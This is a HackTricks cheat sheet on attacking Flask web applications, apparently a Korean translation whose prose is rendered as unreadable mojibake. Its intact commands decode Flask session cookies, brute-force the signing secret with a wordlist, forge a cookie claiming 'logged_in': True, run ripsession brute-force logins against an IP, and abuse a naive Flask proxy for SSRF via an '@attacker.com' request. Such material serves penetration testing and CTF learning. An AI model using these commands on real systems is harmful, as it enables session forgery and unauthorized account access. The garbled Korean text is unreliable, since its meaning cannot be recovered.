Flask
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๋ง๋ CTF๋ฅผ ์งํํ๊ณ ์๋ค๋ฉด Flask ์ ํ๋ฆฌ์ผ์ด์ ์ SSTI์ ๊ด๋ จ์ด ์์ ๊ฒ์ ๋๋ค.
Cookies
๊ธฐ๋ณธ ์ฟ ํค ์ธ์
์ด๋ฆ์ **session**์
๋๋ค.
Decoder
์จ๋ผ์ธ Flask ์ฟ ํค ๋์ฝ๋: https://www.kirsle.net/wizards/flask-session.cgi
Manual
์ฟ ํค์ ์ฒซ ๋ฒ์งธ ๋ถ๋ถ์ ์ฒซ ๋ฒ์งธ ์ ๊น์ง ๊ฐ์ ธ์์ Base64๋ก ๋์ฝ๋ํฉ๋๋ค.
echo "ImhlbGxvIg" | base64 -d
์ฟ ํค๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํ์ฌ ์๋ช ๋ฉ๋๋ค.
Flask-Unsign
Flask ์ ํ๋ฆฌ์ผ์ด์ ์ ์ธ์ ์ฟ ํค๋ฅผ ๊ฐ์ ธ์ค๊ณ , ๋์ฝ๋ํ๊ณ , ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ์ ์ํํ๋ฉฐ, ๋น๋ฐ ํค๋ฅผ ์ถ์ธกํ์ฌ ์ ์ํ๋ ๋ช ๋ น์ค ๋๊ตฌ์ ๋๋ค.
pip3 install flask-unsign
์ฟ ํค ๋์ฝ๋
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
๋ธ๋ฃจํธ ํฌ์ค
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
์๋ช
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
๋ ๊ฑฐ์(๊ตฌ๋ฒ์ ) ์ฌ์ฉํ์ฌ ์๋ช ํ๊ธฐ
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
์ฟ ํค๋ฅผ ์ฌ์ฉํ์ฌ ์น์ฌ์ดํธ๋ฅผ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉํ๋ ๋ช ๋ น์ค ๋๊ตฌ๋ก, flask-unsign์ผ๋ก ์ ์๋์์ต๋๋ค.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
Flask ์ธ์ ์ฟ ํค์์ SQLi์ SQLmap
์ด ์์ ์์๋ sqlmap eval ์ต์
์ ์ฌ์ฉํ์ฌ Flask์ ๋ํ sqlmap ํ์ด๋ก๋๋ฅผ ์๋์ผ๋ก ์๋ช
ํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค.
SSRF๋ฅผ ์ํ Flask ํ๋ก์
์ด ๊ธ์์๋ Flask๊ฐ โ@โ ๋ฌธ์๋ก ์์ํ๋ ์์ฒญ์ ํ์ฉํ๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํฉ๋๋ค.
GET @/ HTTP/1.1
Host: target.com
Connection: close
๋ค์ ์๋๋ฆฌ์ค์์:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
โ@attacker.comโ๊ณผ ๊ฐ์ ๊ฒ์ ๋์ ํ ์ ์์ด SSRF๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


